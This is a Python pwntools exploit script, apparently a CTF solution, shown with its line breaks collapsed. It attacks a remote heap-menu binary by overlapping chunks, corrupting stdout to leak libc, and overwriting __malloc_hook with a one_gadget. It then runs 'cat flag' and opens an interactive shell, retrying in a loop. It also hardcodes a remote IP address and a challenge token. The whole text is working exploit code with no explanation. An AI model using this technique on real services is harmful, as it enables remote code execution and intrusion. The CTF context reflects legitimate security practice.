1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
def exp(): try: p=remote("101.200.53.148", 34521) elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg(address=0): if address==0: gdb.attach(p) pause() else: if address > 0xfffff: script="b *{:#x}\nc\n".format(address) else: script="b *$rebase({:#x})\nc\n".format(address) gdb.attach(p, script)
def info(con,leak): success('{} => {:#x}'.format(con,leak))
def add(idx,size,content): p.sendlineafter('>>>','1') p.sendlineafter('idx:\n',str(idx)) p.sendlineafter('len:\n',str(size)) p.sendafter('content:\n',content)
def delete(idx): p.sendlineafter('>>>','2') p.sendlineafter('idx:',str(idx))
add(0,0xf0,'a'*8) add(1,0x60,'b'*8) add(2,0x88,'c'*8) add(3,0xf8,'d'*8) add(4,0xf0,'e'*8) add(5,0xf0,'f'*8)
delete(3) delete(0) add(3,0xf8,'\x00'*0xf0+p64(0x300)+'\x00') delete(4) delete(1) add(0,0xf0,'aaa') delete(0) add(0,0x130,'\x00'*0xf0+p64(0)+p64(0x71)+'\xdd\x25')
add(1,0x68,'aaa') add(4,0x68,'\x00'*0x33+p64(0xfbad1887)+p64(0)*3+'\x88')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] info('libc_base',libc_base) malloc_hook = libc_base + libc.sym['__malloc_hook'] io_list_all = libc_base + 0x3c54fd
one = [0x45226, 0x4527a, 0xf0364, 0xf1207] add(6,0x28,"\x41"*8) add(7,0x68,'\x42'*8) add(8,0x68,'\x43'*8) delete(6) add(6,0x28,"0"*0x28+'\xe1')
delete(8) delete(7) add(8,0xa0,"3"*0x68+p64(0x71)+p64(malloc_hook-0x23))
add(7,0x68,"\x44"*8)
add(9,0x68,"a"*0x13+p64(libc_base + one[2])) delete(9) p.sendlineafter("please input your token:",'icq700049c29f86f68a9b934524cf619') p.sendline("cat flag") p.interactive() except Exception as e: print(e) p.close()
while True: exp()
|